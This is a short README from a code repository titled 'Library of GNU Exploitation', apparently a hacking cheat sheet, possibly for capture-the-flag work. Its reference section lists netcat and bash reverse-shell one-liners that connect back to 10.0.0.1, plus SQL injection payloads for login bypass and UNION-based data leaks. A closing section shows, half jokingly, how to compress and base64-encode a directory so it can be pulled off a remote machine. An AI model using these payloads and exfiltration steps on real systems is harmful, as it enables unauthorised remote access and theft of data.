summaryrefslogtreecommitdiffstats
path: root/README.txt
blob: 5d8a0460ac0aacfbf998dade5820c83e0ee7baab (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Library of GNU Exploitation
===========================

This is a collection of unix-like utilities particularly suited
for creative problem solving (H A C K I N G).


Reference
---------
nc 10.0.0.1 1234 -e /bin/sh # Netcat reverse shell (Linux)
nc 10.0.0.1 1234 -e cmd.exe # Netcat reverse shell (Windows)
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # Bash reverse shell
' OR 1=1-- # SQL inject (pass)
' OR 1=1 UNION SELECT x,y,z FROM table-- # SQL inject (leak)



**How not to exfil a directory**
  $ zip challenge/
  $ gzip challenge
  $ ls
  $ ls challenge
  $ rm challenge.gz
  $ man gzip
  $ exit
**Log Back In**
  $ gzip -k challenge
  $ ls
  $ base64 challenge.gz
  $ exit
**Log Back In**
  $ rm challenge.gz
  $ tar -czf challenge
  $ ls
  $ tar -czf challenge.tar.gz challenge
  $ ls
  $ base64 challenge.tar.gz
  $ exit